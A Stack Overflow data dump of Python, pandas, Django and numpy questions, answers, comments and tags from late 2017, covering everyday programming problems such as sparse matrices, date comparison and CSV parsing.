comment on: http://stackoverflow.com/q/46978640
type: Comment
has text: Did not notice that, thanks for pointing out the link! Looking at your code (can't run it of course since all of the assets are missing) under `while running:`, when you are in the game, it looks like you are forgetting to clear the screen every time. This leads to you seeing the rectangles drawn from all of the previous frames. Take a look at the answer that @MichaelO'Dwyer posted just now.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/80919084
score: 0
comment on: http://stackoverflow.com/q/46985895
type: Comment
has text: @Loïc Good point, I've removed all external links and put all relevant information in the question.
type: QuestionComment

http://stackoverflow.com/comment/80936939
score: 0
type: AnswerComment
type: Comment
has text: OK, nice and concise.
comment on: http://stackoverflow.com/a/46995009

http://stackoverflow.com/q/46962054
has comment: http://stackoverflow.com/comment/80871874
has title: Add values for matching column and row names
has body: Quick question that I'm brain-farting on how to best implement. I am generating a matrix to add up how many times two items are found next to each other in a list across a large number of permutations of this list. My code looks something like this: agreement_matrix = pandas.DataFrame(0, index=names, columns=names) for list in bunch_of_lists: for i in range(len(list)-1): agreement_matrix[list[i]][list[i+1]] += 1 It generates an array like: A B C D A 0 2 1 1 B 2 0 1 1 C 1 1 0 2 D 1 1 2 0 And because I don't care about order as much I want to add up values so it's like this: A B C D A 0 4 2 2 B 0 0 2 2 C 0 0 0 4 D 0 0 0 0 Is there any fast/simple way to achieve this? I've been toying around with both doing it after generation and trying to do it as I add values.
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/80872006
accepted answer: http://stackoverflow.com/a/46962086
tagged with: python
has answer: http://stackoverflow.com/a/46962086
possible better answer: http://stackoverflow.com/a/46962407
has comment: http://stackoverflow.com/comment/80871916
tagged with: pandas
has answer: http://stackoverflow.com/a/46962407
has comment: http://stackoverflow.com/comment/80872064
score: 2
type: AnsweredQuestion
answer count: 3
has answer: http://stackoverflow.com/a/46962552
downvote count: 0
has comment: http://stackoverflow.com/comment/80871959
favorite count: 0

http://stackoverflow.com/comment/80814391
score: 0
comment on: http://stackoverflow.com/a/46931385
type: Comment
type: AnswerComment
has text: How exactly does this code filter my dataframe based on the product? There's no mention of my products here at all.

http://stackoverflow.com/q/47013837
has answer: http://stackoverflow.com/a/47016565
has body: I'm trying to solve a Markov chain problem in which the transition matrix contains about ~150,000 rows and columns, which is however sparse (only about ~450,000 elements are nonzero). I notice that trying to construct a csr_matrix matrix from a np.zeros array of that size leads to a Killed: 9 error: In [139]: N = 150000 In [140]: T = np.zeros((N, N)) In [142]: import scipy.sparse In [143]: _T = scipy.sparse.csr_matrix(T) Killed: 9 Is it possible to construct a csr_matrix of this size? Do I need to initiate the matrix T as a csr_matrix and dispense with NumPy arrays altogether?
tagged with: python
has comment: http://stackoverflow.com/comment/80980076
tagged with: sparse-matrix
answer count: 1
type: Question
tagged with: matrix
tagged with: scipy
has comment: http://stackoverflow.com/comment/80984043
tagged with: numpy
has comment: http://stackoverflow.com/comment/80976420
accepted answer: http://stackoverflow.com/a/47016565
type: AnsweredQuestion
score: 0
has title: "Killed: 9" error when trying to construct a Scipy csr_matrix from a large NumPy array

http://stackoverflow.com/comment/80834235
type: AnswerComment
has text: But I create an parser, I need some XML document as result. Conception of views is not appropriate for my project... Any ideas?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46927635

http://stackoverflow.com/a/46957622
type: Answer
answers question: http://stackoverflow.com/q/46957440
has comment: http://stackoverflow.com/comment/80862777
has comment: http://stackoverflow.com/comment/80862695
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46957440
has body: 2 things to be noted! 1) you need to ceil and not round! import math math.ceil(peop/bus) 2) it can be (and should be the below in python2) div = peop/float(bus) to get the right remainder That is in python2, &gt;&gt;&gt; peop/bus 6 &gt;&gt;&gt; peop/float(bus) 6.475 &gt;&gt;&gt; round(peop/float(bus)) 6.0 &gt;&gt;&gt; math.ceil(peop/float(bus)) 7.0 and in python3, &gt;&gt;&gt; peop/bus 6.475 &gt;&gt;&gt; import math &gt;&gt;&gt; from math import ceil &gt;&gt;&gt; ceil(peop/bus) 7

http://stackoverflow.com/q/47040800
has comment: http://stackoverflow.com/comment/81052425
type: Question
has comment: http://stackoverflow.com/comment/81066237
tagged with: numpy
has body: I have a line of code (below) which converts a UTC time to local solar time (LST) (both datetime objects), using timedelta. time_lst = time_utc + timedelta(hours=lon*12/180) The formula requires the longitude (lon). My issue is that lon is a numpy array of float64 and so this won't currently work with the timedelta method. How can I get my 'lon' array to work with timedelta?
upvote count: 2
type: UnansweredQuestion
answer count: 1
tagged with: timedelta
score: 1
has comment: http://stackoverflow.com/comment/81030381
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/47059476
has title: Use of datetime timedelta with numpy array as an input
tagged with: datetime
has comment: http://stackoverflow.com/comment/81052378
tagged with: python

http://stackoverflow.com/q/46958501
has comment: http://stackoverflow.com/comment/80864387
possible better answer: http://stackoverflow.com/a/46958696
tagged with: python
has comment: http://stackoverflow.com/comment/80864764
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80864443
has body: I'm quite new to Python und programming in general and have a bit of a problem with packages. I made a directory called Package_Test and created a file named Test package in it called FUNCTIONS. This package contains the init file and a file add. add contains a function, also called add that returns the sum of two given numbers. The directory tree looks as follows: Package_Test Test FUNCTIONS init add I want to use the add function from the package in the file Test and tried the code below, but always get the error Traceback (most recent call last): File "D:/CLRS_Codes/PACKAGE_TEST/Test.py", line 1, in import FUNCTIONS File "D:\CLRS_Codes\PACKAGE_TEST\FUNCTIONS__init__.py", line 2, in from add import add ModuleNotFoundError: No module named 'add' In the add file I wrote: def add(x, y): return x + y In the init file I wrote: from add import add In the Test-file I wrote: import FUNCTIONS print(add(4,2)) I attached a picture to make the whole thing clearer. I would be deeply thankful for any help. The Test-file
score: 1
accepted answer: http://stackoverflow.com/a/46958856
upvote count: 1
has answer: http://stackoverflow.com/a/46958856
has answer: http://stackoverflow.com/a/46958696
favorite count: 0
type: Question
has title: How to import a module from a package in Python
answer count: 2
downvote count: 0

http://stackoverflow.com/comment/80952226
comment on: http://stackoverflow.com/a/47002690
type: Comment
has text: Hello and welcome to SO. Its good to have a description along with the output of the code as mentioned above.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80785377
type: Comment
comment on: http://stackoverflow.com/a/46918818
score: 0
type: AnswerComment
has text: It's hard to read the code with the stackoverflow messages. Join this link and I can help you and we can chat on this as well http://collabedit.com/r4tm8

amazon-ec2
tags question: http://stackoverflow.com/q/47012647
tags question: http://stackoverflow.com/q/47033356
tags question: http://stackoverflow.com/q/46980189
type: Tag
tags question: http://stackoverflow.com/q/47038309
tags question: http://stackoverflow.com/q/46955514
tag name: amazon-ec2
tags question: http://stackoverflow.com/q/47034797
tags question: http://stackoverflow.com/q/46909053
tags question: http://stackoverflow.com/q/47001963
tags question: http://stackoverflow.com/q/47062205
tags question: http://stackoverflow.com/q/46967538

http://stackoverflow.com/a/46994654
accepted answer of: http://stackoverflow.com/q/46993348
answers question: http://stackoverflow.com/q/46993348
score: 3
type: Answer
has body: Problem solved. If someone in the future have the same error as me, checking to_python method from the ModelChoiceField saved my day: def to_python(self, value): if value in self.empty_values: return None try: key = self.to_field_name or 'pk' value = self.queryset.get(**{key: value}) except (ValueError, TypeError, self.queryset.model.DoesNotExist): raise ValidationError(self.error_messages['invalid_choice'], code='invalid_choice') return value So I changed my queryset to queryset=Address.objects instead of queryset=Address.objects.none() or queryset=Address.objects.all() Thanks Daniel Roseman for your comments
upvote count: 3
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/47032458
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81012186
score: 1
upvote count: 1
accepted answer: http://stackoverflow.com/a/47032893
favorite count: 0
has comment: http://stackoverflow.com/comment/81011697
type: Question
has comment: http://stackoverflow.com/comment/81011701
has title: NOT NULL constraint failed: music_song.album_id
tagged with: django
tagged with: python
has body: I am using django 1.11.6 and python 3.6.2 I'm new to django and there is no one to help me where i live so you guys are all my hope in my django application in the add song section i faced an error error message = IntegrityError at /music/album/5/AddSong/ NOT NULL constraint failed: music_song.album_id here is my views file: from django.views import generic from django.views.generic import View from .forms import UserForm from django.views.generic.edit import CreateView,UpdateView,DeleteView from django.shortcuts import render,redirect from django.contrib.auth import authenticate, login from .models import Album, Song from django.core.urlresolvers import reverse_lazy class IndexView(generic.ListView): template_name = 'music/index.html' context_object_name = 'all_albums' def get_queryset(self): return Album.objects.all() class DetailView(generic.DetailView): model = Album template_name = 'music/detail.html' context_object_name = 'album' class AlbumCreate(CreateView): model = Album fields = ['artist', 'album_title', 'genre', 'album_logo'] class SongCreate(CreateView): model = Song fields = ['song_title', 'file_type'] class AlbumUpdate(UpdateView): model = Album fields = ['artist', 'album_title', 'genre', 'album_logo'] class AlbumDelete(DeleteView): model = Album success_url = reverse_lazy('music:index') class UserFormView(View): form_class = UserForm template_name = 'music/registration_form.html' #display a blank form def get(self,request): form = self.form_class(None) return render(request,self.template_name, {"form": form}) #procces form data def post(self,request): form = self.form_class(request.POST) if form.is_valid(): user = form.save(commit=False) #cleaned (normalized) data username = form.cleaned_data['username'] password = form.cleaned_data['password'] user.set_password(password) user.save() #returns User objects if credentials are correct user = authenticate(username=username, password=password) if user is not None: if user.is_active: login(request,user) ret…
has answer: http://stackoverflow.com/a/47032893
has comment: http://stackoverflow.com/comment/81011493
type: AnsweredQuestion

http://stackoverflow.com/q/46947310
downvote count: 0
answer count: 1
upvote count: 7
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: opencv
tagged with: matplotlib
has body: When i read a grayscale image with matplotlib.image it shows dimension (512,512) and type (float32) but when i use cv2.imread for the same image it shows (512,512,3) and type uint8. Why is it so? Is cv2.imread command automatically converted image to BGR format, because of default flag. ( I am using python 3 and opencv2.) Following is code: import cv2 import matplotlib.image as mpimage img = cv2.imread('image_1.png') img1=mpimage.imread('image_1.png')
accepted answer: http://stackoverflow.com/a/46948760
tagged with: python
has title: Difference between matplotlib.image and cv2.imread
has answer: http://stackoverflow.com/a/46948760
type: AnsweredQuestion
score: 7

http://stackoverflow.com/comment/80862858
type: AnswerComment
comment on: http://stackoverflow.com/a/46957337
score: 0
type: Comment
has text: the results are not the expected. Thank you for the help. Now I have a better code, but need some improvements.

numba
tags question: http://stackoverflow.com/q/47002360
tags question: http://stackoverflow.com/q/46924092
tags question: http://stackoverflow.com/q/47064474
type: Tag
tag name: numba

http://stackoverflow.com/a/47037653
answers question: http://stackoverflow.com/q/47036355
has body: Just use string replace method : list_1=['{\\"SrcIP\\":\\"1.1.1.1\\",\\"DstIP\\":\\"2.2.2.2\\",\\"DstPort\\":\\"80\\"}'] for i in list_1: print(str(i).replace("\\","")) Or you can do in one line: print(str(list_1[0]).replace("\\","")) output: {"SrcIP":"1.1.1.1","DstIP":"2.2.2.2","DstPort":"80"}
upvote count: 1
downvote count: 0
score: 1
type: Answer

http://stackoverflow.com/q/46950884
tagged with: boto3
tagged with: amazon-web-services
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46955194
has body: I uploaded an archive to AWS glacier using boto3 using the code as described here: https://github.com/tbumi/glacier-upload/blob/develop/main.py It returned me archive id which I didn't save at the time and i went through the AWS documentation and archive id is needed for archive retrieval. As i understood from the boto3 documentation, You first need to create a job as follows: job = archive.initiate_archive_retrieval() This returns me a glacier.Job Object and which contains many attributes such as Job id etc. Then i can use the response = job.get_output( range='string' ) To download the archive from glacier after notified via SNS after 3-5hrs after the job has been completed and the range being the part of the archive in bytes to download( defaults to whole archive). Also i am not able to delete the vault as the vault is not empty and requires me to delete the archive which again needs the archive id for doing so. I also looked at their REST API which again is dependent on the archive id for deletion. Here: https://docs.aws.amazon.com/amazonglacier/latest/dev/api-vault-delete.html Also i found that downloading archives can only be done programtically either using their REST APIS or SDK's or aws-cli therefore shutting the door to do so using the AWS console. Since i don't have the archive id, is it possible for me to retrieve the archive using any other method? If not, is it possible to delete the vault?
has answer: http://stackoverflow.com/a/46955194
downvote count: 0
answer count: 1
score: 1
favorite count: 0
type: Question
has title: Archive retrieval from AWS Glacier
upvote count: 1
tagged with: python

http://stackoverflow.com/q/46918969
tagged with: python
has comment: http://stackoverflow.com/comment/80785372
tagged with: timestamp
has comment: http://stackoverflow.com/comment/80785583
answer count: 0
tagged with: pandas
score: 0
has comment: http://stackoverflow.com/comment/80785650
has comment: http://stackoverflow.com/comment/80785290
linked to: http://stackoverflow.com/q/39646898
type: Question
has comment: http://stackoverflow.com/comment/80785536
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80785523
duplicate of: http://stackoverflow.com/q/39646898
has body: Suppose we have a pandas dataframe that have tow columns, one contains timestamps which are in GMT timezone but that is not known by the data and another column that contains timezones as follows df = pd.DataFrame({'Time': [2016-02-16 13:59:12, 2015-07-22 15:07:06], 'Time_zone': ['Asia/Bangkok', 'America/Mexico_City']}) i want to convert the timestamps in the first column into local time using the timestamp in the second column and store that into a new column named 'local_time' I tried the following import datetime import pytz df['Time'].apply(lambda x: x.tz_localize('GMT')) df['local_time'] = df['Time'].apply(lambda x: x.astimezone(pytz.timezone(df['Time_zone'].apply(lambda x: x)))) but it is giving the follwing error 'Series' object has no attribute 'upper' any help is very much appreciated
has title: Converting a column in pandas with timestamps into local time knowing the timezone

http://stackoverflow.com/a/47037324
has comment: http://stackoverflow.com/comment/81022795
has comment: http://stackoverflow.com/comment/81021609
has comment: http://stackoverflow.com/comment/81022168
answers question: http://stackoverflow.com/q/47037250
has comment: http://stackoverflow.com/comment/81021148
type: Answer
score: 4
has comment: http://stackoverflow.com/comment/81022621
has body: Maybe you're looking for: g = df.groupby('id')['A', 'B'].nunique() g A B id bar 1 1 foo 2 1 To get the relevant columns, just index into df.columns: df.columns[(g &gt; 1).any()] Index(['A'], dtype='object')
has comment: http://stackoverflow.com/comment/81021041
upvote count: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/81021093

http://stackoverflow.com/a/46912895
score: 0
has comment: http://stackoverflow.com/comment/80773339
has comment: http://stackoverflow.com/comment/80772900
has comment: http://stackoverflow.com/comment/80772962
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80773384
answers question: http://stackoverflow.com/q/46912685
has comment: http://stackoverflow.com/comment/80773039
type: Answer
accepted answer of: http://stackoverflow.com/q/46912685
has body: Use In [5639]: np.array(map(str.split, df.Utterances.values)) Out[5639]: array([['23825', '141520', '79229147', '135', '1951822935'], ['15162091514', '2015'], ['1851315229147', '114'], ['225189625', '141135', '1144'], ['1325', '31854920', '31184'], ['31854920', '31184'], ['2085185-5719', '19151352089147', '1514', '1325', '229191'], ['2085185', '919', '114', '11618', '129115', '2015', '3151329145', '2'], ['185351420', '193113', '21815115', '9142015', '1325', '3151316'], ['851216', '2015', '7520', '1325', '6152118', '8211441854', '41512'], ['31143512', '15184518'], ['31143512', '15184518'], ['13315211420', '172151825'], ['229191'], ['16518191514112'], ['9', '15235', '1514', '19516205132518', '20235142025', '149142'], ['9', '14554', '2015', '69144', '152120', '2385185', '1325', '14523', '3']], dtype=object) Or, In [5642]: np.array([x.split() for x in df.Utterances.values]) Out[5642]: array([['23825', '141520', '79229147', '135', '1951822935'], ['15162091514', '2015'], ['1851315229147', '114'], ['225189625', '141135', '1144'], ['1325', '31854920', '31184'], ['31854920', '31184'], ['2085185-5719', '19151352089147', '1514', '1325', '229191'], ['2085185', '919', '114', '11618', '129115', '2015', '3151329145', '2'], ['185351420', '193113', '21815115', '9142015', '1325', '3151316'], ['851216', '2015', '7520', '1325', '6152118', '8211441854', '41512'], ['31143512', '15184518'], ['31143512', '15184518'], ['13315211420', '172151825'], ['229191'], ['16518191514112'], ['9', '15235', '1514', '19516205132518', '20235142025', '149142'], ['9', '14554', '2015', '69144', '152120', '2385185', '1325', '14523', '3']], dtype=object)
has comment: http://stackoverflow.com/comment/80773239

http://stackoverflow.com/q/46915426
has title: How to check if a date is earlier than today's date
upvote count: 22
tagged with: python-3.x
score: 22
has body: I have a program that runs a Windows "net user" command to get the expiration date of a user. For example: "net user justinb /domain" The program grabs the expiration date. I am taking that expiration date and setting it as variable datd In the example below, we'll pretend the expiration date given was 1/10/2018. (Note: Windows does not put a 0 in front of the month) import time datd = "1/10/2018" # places a 0 in front of the month if only 1 digit received for month d = datd.split("/") if len(d[0])==1: datd="0"+datd print("Changed to: " + datd) myDate = (time.strftime("%m/%d/%Y")) print ("This is today's date: " + myDate) if datd &lt;= myDate: # if datd is is earlier than todays date print (" Password expired. ") else: print (" Password not expired. ") input(" Press Enter to exit.") Right now, it gives me correct information if datd equals a date in 2017. I am getting a problem with the year 2018 and on though. It is telling me that 1/10/2018 comes before today's date of 10/24/2017. Is there a way I change the format of the dates properly so that they are read correctly in this program? I want the output to say that the "Password is not expired" if datd = 1/10/2018
downvote count: 0
has answer: http://stackoverflow.com/a/46915727
answer count: 1
has comment: http://stackoverflow.com/comment/80778436
type: Question
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46915727
linked to: http://stackoverflow.com/q/8142364
tagged with: python
favorite count: 0

http://stackoverflow.com/a/46960002
type: Answer
has body: Your password is in line[0]. The reader separates each line into fields based on the separator and quoting, so each line is a list of strings.
has comment: http://stackoverflow.com/comment/80867807
accepted answer of: http://stackoverflow.com/q/46959688
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80867926
score: 0
answers question: http://stackoverflow.com/q/46959688

http://stackoverflow.com/comment/80795880
type: QuestionComment
has text: Hi that works for unique row not columns
comment on: http://stackoverflow.com/q/46924486
score: 0
type: Comment

http://stackoverflow.com/q/46964599
favorite count: 0
has body: My csv file is like this, 1,no,apple,water 2,,grape, 3,yes,,coke 4,no,orange,water 5,no,,water with some blanks in it and I'm trying to convert this file to list of dictionaries, which should be, [{'id': '1', 'yesno': 'no', 'fruit': 'apple', 'drink': 'water'}, {'id': '2', 'fruit': 'grape'}, {'id': '3', 'yesno': 'yes', 'drink': 'coke'}, {'id': '4', 'yesno': 'no', 'fruit': 'orange', 'drink': 'water'}, {'id': '5', 'yesno': 'no', 'drink': 'water'}] However, it returns, [{'id': '1', 'yesno': 'no', 'fruit': 'apple', 'drink': 'water'}, {'id': '2', 'yesno': 'no', 'fruit': 'grape', 'drink': 'water'}, {'id': '3', 'yesno': 'yes', 'fruit': 'grape', 'drink': 'coke'}, {'id': '4', 'yesno': 'no', 'fruit': 'orange', 'drink': 'water'}, {'id': '5', 'yesno': 'no', 'fruit': 'orange', 'drink': 'water'}] It seems like the blank values are filled with the copied one from the previous dictionary Here is my code, import csv def data(file): header = ['id', 'yesno', 'fruit', 'drink'] list_data = [] dict_record = {} var = 0 csv_r = list(csv.reader(open(file))) while var &lt; len(csv_r): for i in range(4): #since there are 4 fields if csv_r[var][i] != '': dict_record[header[i]] = csv_r[var][i] list_data.append(dict_record.copy()) var = var + 1 return(list_data)
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/46964705
tagged with: python
type: AnsweredQuestion
has title: Python 3: Convert CSV
has answer: http://stackoverflow.com/a/46964705
score: 1
answer count: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/47037079
answers question: http://stackoverflow.com/q/47031947
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/47031947
has body: Editing the queryset's slice won't affect the original queryset because the slice is a separate queryset object; the two querysets are lazily evaluated and don't share the model objects in memory. results will give you one queryset object, and results[0:2] returns a separate queryset object, and when you iterate over the one, the results of the other will not be affected because they are produced at the time you iterate (and cached on the queryset object, which is why your first example works). Depending on the size of the data, you may be able to get the desired effect by iterating with enumerate: for i, result in enumerate(results): if i &lt; 2: result.content = 'hello world'
upvote count: 2
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/81077533
type: QuestionComment
comment on: http://stackoverflow.com/q/47064582
has text: Try `del d['user'][0]` where d is your dictionary.
score: 1
type: Comment

http://stackoverflow.com/comment/80802620
has text: Semicolons are generally not required, nor desirable, in Python. `text = ''` is preferred to `text = str()`.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46927487

http://stackoverflow.com/q/47004401
tagged with: python
tagged with: tree
score: 0
has answer: http://stackoverflow.com/a/47005158
has body: I have a set of vectors of shape (1000,) (Its vector representation of images), I need to find out which of them is most closely related to others(most relevant image to represent that entity). I am going through many algorithms like kNN but I don't have any trained data to compare these vectors with, I only have these vectors. Can anyone tell me which algorithm/s I need to use to achieve this??
answer count: 1
has title: Find most relevant Vector from set of vectors
type: Question
tagged with: graph
tagged with: vector
tagged with: algorithm
type: UnansweredQuestion

http://stackoverflow.com/comment/80892841
type: AnswerComment
has text: thanks for the answer ! I tried to reinstall psycopg2 earlier but ended up with same errors. But when i tried pip install psycopg2 --no-cache-dir. It works !!
comment on: http://stackoverflow.com/a/46966807
score: 3
type: Comment

http://stackoverflow.com/a/46935637
answers question: http://stackoverflow.com/q/46935418
score: 0
has body: I feel that the first part of your question has been well answered, but as for: how people usually handle it in python? If it is the case that the output from the function g(x) will be needed twice, it makes sense (at least for me) to just store it in a variable. Due to the nature of how a function should work (without global influences such as time), the same input should always give the same output. So lets say that this function would take 1 minute to compute, if we wanted to use the output twice, it wouldn't make sense to call it twice as it would now take twice as long: 2 minutes. As mentioned above, you could use memoization or simply store the output of g(x) in a variable. E.g. def f(x): gx = g(x) return: (gx+1) * gx
type: Answer

http://stackoverflow.com/comment/80797004
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46924234
type: AnswerComment
has text: Hmm doesn't seem to like that either. I've posted my full code and error here https://pastebin.com/fKtkNCG5

http://stackoverflow.com/a/46947191
answers question: http://stackoverflow.com/q/46943674
has comment: http://stackoverflow.com/comment/80841776
has comment: http://stackoverflow.com/comment/88301713
has body: Please look at this answer here xgboost.train will ignore parameter n_estimators, while xgboost.XGBRegressor accepts. In xgboost.train, boosting iterations (i.e. n_estimators) is controlled by num_boost_round(default: 10) It suggests to remove n_estimators from params supplied to xgb.train and replace it with num_boost_round. So change your params like this: params = {'objective': 'reg:linear', 'max_depth': 2, 'learning_rate': .1, 'min_child_weight': 3, 'colsample_bytree': .7, 'subsample': .8, 'gamma': 0, 'alpha': 1} And train xgb.train like this: model = xgb.train(dtrain=xgtrain, params=params,num_boost_round=500) And you will get same results. Alternatively, keep the xgb.train as it is and change the XGBRegressor like this: model = XGBRegressor(learning_rate =.1, n_estimators=10, max_depth=2, min_child_weight=3, gamma=0, subsample=.8, colsample_bytree=.7, reg_alpha=1, objective= 'reg:linear') Then also you will get same results.
downvote count: 0
has comment: http://stackoverflow.com/comment/88300821
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/88300249
has comment: http://stackoverflow.com/comment/88300120
accepted answer of: http://stackoverflow.com/q/46943674
upvote count: 18
score: 18
type: Answer
has comment: http://stackoverflow.com/comment/88302269
has comment: http://stackoverflow.com/comment/88301363
has comment: http://stackoverflow.com/comment/88301090

http://stackoverflow.com/q/46923092
linked to: http://stackoverflow.com/q/39980323
has answer: http://stackoverflow.com/a/46923417
possible better answer: http://stackoverflow.com/a/46923417
has body: my json file is in dictionary format, I want to read it into my Python. This is my original file. fruit.json: { "Q":"Is it red?", "yes":{ "answer":"apple" }, "no":{ "Q":"Is it yellow", "yes":{ "answer":"banana" }, "no":{ "Q":"Is it sweet?", "yes":{ "answer":"mango" }, "no":{ "Q":"Bigger than strawberry?", "yes":{ "answer":"lemon" }, "no":{ "answer":"blueberry" } } } } } After reading them, I want to know if it's possible to print them in the same format too. Code: import json import sys s = json.loads(open(r'C:\Users\makiyo\fruit.json').read()) print(s) print(type(s)) print("--------") print(json.dumps(s, indent=4), file=sys.stderr) Type of s is dict: {'Q': 'Is it red?', 'no': {'Q': 'Is it yellow', 'no': {'Q': 'Is it sweet?', 'no': {'Q': 'Bigger than strawberry?', 'no': {'answer': 'blueberry'}, 'yes': {'answer': 'lemon'}}, 'yes': {'answer': 'mango'}}, 'yes': {'answer': 'banana'}}, 'yes': {'answer': 'apple'}} Output: { "Q": "Is it red?", "no": { "Q": "Is it yellow", "no": { "Q": "Is it sweet?", "no": { "Q": "Bigger than strawberry?", "no": { "answer": "blueberry" }, "yes": { "answer": "lemon" } }, "yes": { "answer": "mango" } }, "yes": { "answer": "banana" } }, "yes": { "answer": "apple" } } This is not the format from the fruit.json, I don't know why they change the 'yes'/'no' location like this.
has title: python: reading json dictionary in a wrong format
tagged with: python
tagged with: tree
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46923249
score: 0
accepted answer: http://stackoverflow.com/a/46923249
answer count: 2
tagged with: http://stackoverflow.com/tag/json
type: Question

http://stackoverflow.com/q/46971148
upvote count: 3
score: 3
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/80890224
answer count: 2
has answer: http://stackoverflow.com/a/46971783
downvote count: 0
has answer: http://stackoverflow.com/a/46972018
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80889983
has title: Python removing duplicate names
has comment: http://stackoverflow.com/comment/80890846
has comment: http://stackoverflow.com/comment/80889690
tagged with: python
has comment: http://stackoverflow.com/comment/80889910
has comment: http://stackoverflow.com/comment/80890572
accepted answer: http://stackoverflow.com/a/46972018
has body: I have plain text file with words in each line: 3210 &lt;DOCID&gt;GH950102-000003&lt;DOCID&gt;/O 3243 Australia/LOCATION 3360 England/LOCATION 3414 India/LOCATION 3474 Melbourne/LOCATION 3497 England/LOCATION 3521 &gt;India&lt;TOPONYM&gt;/O 3526 &gt;Zimbabwe&lt;TOPONYM&gt;/O 3531 &gt;England&lt;TOPONYM&gt;/O 3536 &gt;Melbourne&lt;TOPONYM&gt;/O 3541 &gt;England&lt;TOPONYM&gt;/O 3546 &gt;England&lt;TOPONYM&gt;/O 3551 &gt;Glasgow&lt;TOPONYM&gt;/O 3556 &gt;England&lt;TOPONYM&gt;/O 3561 &gt;England&lt;TOPONYM&gt;/O 3566 &gt;Australia&lt;TOPONYM&gt;/O 3568 &lt;DOCID&gt;GH950102-000004&lt;DOCID&gt;/O 3739 Hampden/LOCATION 3821 Hampden/LOCATION 3838 Ibrox/LOCATION 3861 Neerday/LOCATION 4161 Fir Park/LOCATION 4229 Park&lt;TOPONYM&gt;/O 4234 &gt;Hampden&lt;TOPONYM&gt;/O 4239 &gt;Hampden&lt;TOPONYM&gt;/O 4244 &gt;Midfield&lt;TOPONYM&gt;/O 4249 &gt;Glasgow&lt;TOPONYM&gt;/O 4251 &lt;DOCID&gt;GH950102-000005&lt;DOCID&gt;/O 4535 Edinburgh/LOCATION 4840 Road&lt;TOPONYM&gt;/O 4845 &gt;Edinburgh&lt;TOPONYM&gt;/O 4850 &gt;Glasgow&lt;TOPONYM&gt;/O`` I want to remove same location names in this list and it should look like this: 3210 &lt;DOCID&gt;GH950102-000003&lt;DOCID&gt;/O 3243 Australia/LOCATION 3360 England/LOCATION 3414 India/LOCATION 3474 Melbourne/LOCATION 3497 England/LOCATION 3526 &gt;Zimbabwe&lt;TOPONYM&gt;/O 3551 &gt;Glasgow&lt;TOPONYM&gt;/O 3568 &lt;DOCID&gt;GH950102-000004&lt;DOCID&gt;/O 3739 Hampden/LOCATION 3838 Ibrox/LOCATION 3861 Neerday/LOCATION 4161 Fir Park/LOCATION 4229 Park&lt;TOPONYM&gt;/O 4244 &gt;Midfield&lt;TOPONYM&gt;/O 4249 &gt;Glasgow&lt;TOPONYM&gt;/O 4251 &lt;DOCID&gt;GH950102-000005&lt;DOCID&gt;/O 4535 Edinburgh/LOCATION 4840 Road&lt;TOPONYM&gt;/O 4850 &gt;Glasgow&lt;TOPONYM&gt;/O I want to remove the duplicate locations name and docid should remain in the file. I know there is a way through linux using uniq but if I'll run that it will remove locations within different docid. Is there anyway to split it through every docid and within docid if location n…
possible better answer: http://stackoverflow.com/a/46971783
type: AnsweredQuestion

http://stackoverflow.com/q/46976923
has title: In Django how to get this pandas dataframe to a template?
has body: django newbie question: Documentation with django and pandas focuses on models. I need to understand better how to trace the model, view and template where pandas is involved. Here is an application problem: I am trying to display mobile telephone allowances in an app. For example, each mobile connection has a mandatory tariff and also four optional, value added services ('VAS'). Tariffs cannot be VAS, but you could have the same VAS four times to boost your allowances. There is a single table 'Tariff' for managing the details of all tariffs and VAS. For each call line identifier (mobile phone connection), we need to read the call minutes, data megabytes and text count allowances that sum from the associated tariff and four VAS columns. # models.py class Tariff(models.Model): tariff_name = models.CharField(max_length=200, unique=True, db_index=True) minutes = models.IntegerField(blank=True, null=True,) texts = models.IntegerField(blank=True, null=True,) data = models.FloatField(null=True, default=0) is_tariff_not_VAS = models.BooleanField(default=True) class CallLineIdentifiers(models.Model): mobile_tel_number = models.CharField(max_length=11, blank=False, null=False, db_index=True) tariff = models.ForeignKey(Tariff, related_name = 'tariffName' ) vas_1 = models.CharField(max_length=100, blank=False, null=False, default=0,) vas_2 = models.CharField(max_length=100, blank=False, null=False, default=0,) vas_3 = models.CharField(max_length=100, blank=False, null=False, default=0,) vas_4 = models.CharField(max_length=100, blank=False, null=False, default=0,) So far, so good. I can render an html page displaying allowances for a mobile based on just the main Tariff. If I want to include the VAS allowances things are more tricky. You can't just have foreign keys for each VAS back to the Tariff table. But perhaps, is there a django model re-specification that solves the problem? I've used Pandas before, for this problem - BUT outside of django. This worked in pandas where I …
tagged with: python
score: 2
upvote count: 2
tagged with: pandas
answer count: 0
downvote count: 0
tagged with: django
favorite count: 0
type: Question
type: UnansweredQuestion

http://stackoverflow.com/comment/80905835
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/46978805
has text: yes this is it. If you can just help me figure it out I would be thankful.

http://stackoverflow.com/comment/80968394
comment on: http://stackoverflow.com/q/47010745
has text: Tried it, it actually posts that exact string - '\\_a\\_'
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46976665
